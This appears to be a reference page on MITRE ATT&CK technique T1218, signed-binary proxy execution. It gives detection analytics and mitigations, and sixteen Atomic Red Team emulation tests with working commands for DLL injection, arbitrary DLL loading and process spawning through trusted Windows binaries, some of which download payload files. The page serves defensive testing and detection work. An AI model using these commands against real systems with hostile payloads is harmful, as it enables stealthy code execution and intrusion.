Has used native tools and processes including living off the land binaries or “LOLBins" to maintain and expand access to the victim networks.1
System Binary Proxy Execution T1218
- Tactic
- Stealth
- Platforms
- Linux, macOS, Windows
- Version
- 4.0
- Created
- 18 April 2018
- Last modified
- 12 May 2026
- Contributors
- Hans Christoffer Gaardløs; Nishan Maharjan, @loki248; Praetorian; Wes Hurd
Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.[1] Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
System Binary Proxy Execution MITRE reference T1218
2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Lnk files used for persistence have abused the Windows Update Client (wuauclt.exe) to execute a malicious DLL.12
All 2 groups for this technique
Offense vs defense T1218
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
System Binary Proxy Execution detection strategy DET0081
MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection of Proxy Execution via Trusted Signed Binaries Across Platforms
AN0226 · Windows
Execution of trusted, Microsoft-signed binaries such as rundll32.exe, msiexec.exe, or regsvr32.exe used to execute externally hosted, unsigned, or suspicious payloads through command-line parameters or network retrieval.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Module LoadDC0016 | WinEventLog:Sysmon | EventCode=7 |
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ParentProcessName | Used to profile unexpected parent-child relationships (e.g., regsvr32.exe not launched by explorer.exe) |
| SignedBinaryList | List of known signed binaries allowed for execution (e.g., msiexec.exe, regsvr32.exe) |
| CommandLineRegex | Regex to match suspicious arguments, such as URLs, script paths, or DLL entrypoints |
| RemoteDomainAllowlist | Filter to suppress activity contacting legitimate enterprise domains |
AN0227 · Linux
Execution of trusted system binaries (e.g., split, tee, bash, env) used in uncommon sequences or chained behaviors to execute malicious payloads or perform actions inconsistent with normal system or script behavior.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
| Network Connection CreationDC0082 | auditd:SYSCALL | connect |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TrustedBinaryList | Binaries like split, tee, env, awk, gzip, often used in benign scripts |
| AnomalyScore | Outlier model for process tree and command arguments |
AN0228 · macOS
Use of system binaries such as osascript, bash, or curl to download or execute unsigned code or files in conjunction with application proxying.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | exec of osascript, bash, curl with suspicious parameters |
| Network Connection CreationDC0082 | macos:osquery | execution of trusted tools interacting with external endpoints |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TrustedUtilityList | macOS binary whitelist including /usr/bin/osascript, /bin/bash, /usr/bin/curl |
| SignedToUnsignedTransition | Used to detect proxy execution from signed binary to unsigned payload |
Many native binaries may not be necessary within a given environment.
Consider using application control to prevent execution of binaries that are susceptible to abuse and not required for a given system or network.
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using using trusted binaries to bypass application control.
Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
Restrict execution of particularly vulnerable binaries to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.
Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | mavinject - Inject DLL into running process | windows | cmd | Required | 1 | — | ||||||||||||||||||||||
Injects arbitrary DLL into running process specified by process ID. Requires Windows 10. Input arguments
Attack command mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"
Prerequisite T1218.dll must exist on disk at specified location (#{dll_payload}) Check if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}"
GUIDb82bfdba-528c-4927-ba36-0ea82e473948 | ||||||||||||||||||||||||||||
| 02 | Register-CimProvider - Execute evil dll | windows | cmd | — | 1 | — | ||||||||||||||||||||||
Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB Input arguments
Attack command C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"
Prerequisite T1218-2.dll must exist on disk at specified location (#{dll_payload}) Check if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
GUID2da45bf6-aa22-45aa-8397-6c7d95afc95e | ||||||||||||||||||||||||||||
| 03 | InfDefaultInstall.exe .inf Execution | windows | cmd | — | 1 | — | ||||||||||||||||||||||
Test execution of a .inf using InfDefaultInstall.exe Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml Input arguments
Attack command InfDefaultInstall.exe "#{inf_to_execute}"
Prerequisite INF file must exist on disk at specified location (#{inf_to_execute}) Check if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}"
GUID0ddf16dd-94a2-4b7d-8f84-b7ac5604b9eb | ||||||||||||||||||||||||||||
| 04 | ProtocolHandler.exe Downloaded a Suspicious File | windows | cmd | — | 1 | — | ||||||||||||||||||||||
Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file. Input arguments
Attack command FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
Prerequisite Microsoft Word must be installed Check try {
$wdApp = New-Object -COMObject "Word.Application"
Stop-Process -Name "winword"
exit 0 } catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft Word manually to meet this requirement" GUID3996c5db-e1d0-470e-a815-d63822c69212 | ||||||||||||||||||||||||||||
| 05 | Microsoft.Workflow.Compiler.exe Payload Execution | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||
Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe Input arguments
Attack command #{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
Prerequisite .Net must be installed for this test to work correctly. Check if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit 1}
Satisfy write-host ".Net must be installed for this test to work correctly." GUID013cfc07-7a73-457e-b714-5d7d031e465e | ||||||||||||||||||||||||||||
| 06 | Renamed Microsoft.Workflow.Compiler.exe Payload Executions | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||
Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe Input arguments
Attack command &"#{renamed_binary}" "#{xml_payload}" output.txt
Prerequisite .Net must be installed for this test to work correctly. Check if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force
GUIDa80101b2-cb6b-437d-9e58-b939962f417e | ||||||||||||||||||||||||||||
| 07 | Invoke-ATHRemoteFXvGPUDisablementCommand base test | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||
RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339). One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted. Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe. The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts. Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1 Input arguments
Attack command Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}Prerequisite The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module. Check $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}Satisfy Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force GUID21e04b28-9e55-4923-ae17-401371fb6c3d | ||||||||||||||||||||||||||||
| 08 | DiskShadow Command Execution | windows | PowerShell | — | 2 | — | ||||||||||||||||||||||
Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/ Input arguments
Attack command #{dspath} -S #{txt_payload}
Prerequisite txt file must exist on disk at specified location (#{txt_payload}) Check if (Test-Path "#{txt_payload}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{txt_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt" -OutFile "#{txt_payload}"
Prerequisite DiskShadow.exe must exist on disk at specified location (#{dspath}) Check if (Test-Path #{dspath}) {exit 0} else {exit 1}
Satisfy echo "DiskShadow.exe not found on disk at expected location" GUID3e1353f6-58fd-4358-84d4-83077d64c4c8 | ||||||||||||||||||||||||||||
| 09 | Load Arbitrary DLL via Wuauclt (Windows Update Client) | windows | cmd | — | 1 | Yes | ||||||||||||||||||||||
This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. See https://dtm.uk/wuauclt/ Input arguments
Attack command wuauclt.exe /UpdateDeploymentProvider "#{arbitrary_dll}" /RunHandlerComServer
Cleanup command taskkill /f /im calculator.exe > nul 2>&1 Prerequisite DLL to load must exist on disk as specified location (#{arbitrary_dll}) Check if (test-path "#{arbitrary_dll}"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{arbitrary_dll}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true" -OutFile "#{arbitrary_dll}"
GUID5984b9c2-fcea-4fae-a3db-46be3b1c8d77 | ||||||||||||||||||||||||||||
| 10 | Lolbin Gpscript logon option | windows | cmd | — | — | — | ||||||||||||||||||||||
Executes logon scripts configured in Group Policy. https://lolbas-project.github.io/lolbas/Binaries/Gpscript/ https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/ Attack command Gpscript /logon GUID9fd113d6-9228-4ae7-955b-6a485ad7e804 | ||||||||||||||||||||||||||||
| 11 | Lolbin Gpscript startup option | windows | cmd | — | — | — | ||||||||||||||||||||||
Executes startup scripts configured in Group Policy https://lolbas-project.github.io/lolbas/Binaries/Gpscript/ https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/ Attack command Gpscript /startup GUID1d5f2d8a-7448-43d2-8e5f-0672671d3446 | ||||||||||||||||||||||||||||
| 12 | Lolbas ie4uinit.exe use as proxy | windows | cmd | — | 1 | Yes | ||||||||||||||||||||||
Executes commands from a specially prepared ie4uinit.inf file. Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/ Input arguments
Attack command copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe
copy "#{Path_inf}" %TEMP%\ieuinit.inf
%TEMP%\ie4uinit.exe -BaseSettings
Cleanup command del %TEMP%\ie4uinit.exe >nul 2>&1 del %TEMP%\ieuinit.inf >nul 2>&1 Prerequisite ieuinit.inf must exist on disk at specified location (#{Path_inf}) Check if (Test-Path "#{Path_inf}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{Path_inf}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/ieuinit.inf" -OutFile "#{Path_inf}"
GUIDcfc398fc-c0dd-43d1-a5b4-4945356b423b | ||||||||||||||||||||||||||||
| 13 | LOLBAS CustomShellHost to Spawn Process | windows | PowerShell | Required | — | Yes | ||||||||||||||||||||||
This test simulates an adversary copying Input arguments
Attack command if (-not (Test-Path #{dest_path})) {
New-Item -Path #{dest_path} -ItemType Directory
} else {
Write-Host "Directory #{dest_path} already exists." }
Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force
Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force
#{dest_path}\customshellhost.exe
Cleanup command Remove-Item -Path #{dest_path} -Recurse -Force
GUID1760fdad-f133-4fd0-8465-323002ed98d0 | ||||||||||||||||||||||||||||
| 14 | Provlaunch.exe Executes Arbitrary Command via Registry Key | windows | cmd | — | — | — | ||||||||||||||||||||||
Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command. - https://twitter.com/0gtweet/status/1674399582162153472 - https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/ Registry keys are deleted after successful execution. Attack command reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0 reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe c:\windows\system32\provlaunch.exe LOLBin GUID5c5e525b-3035-4022-b506-e0b663f2e3b6 | ||||||||||||||||||||||||||||
| 15 | LOLBAS Msedge to Spawn Process | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn "calc.exe" as a child process of msedge.exe - https://lolbas-project.github.io/lolbas/Binaries/Msedge/ Attack command $edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath64) {
$edgePath = $edgePath64
} else {
# Check 32-bit Edge installation path
$edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath32) {
$edgePath = $edgePath32
} else {
exit 1
}
}
& $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&"
sleep 5
taskkill -f -im msedge.exe
taskkill -f -im calc.exe
taskkill -f -im win32calc.exe
GUID20e12ca7-128f-4e63-b67a-489a5a8a7b6f | ||||||||||||||||||||||||||||
| 16 | System Binary Proxy Execution - Wlrmdr Lolbin | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures Input arguments
Attack command wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "#{payload_path}"GUIDb37140e5-f228-4bc2-adb1-ce553441626c | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition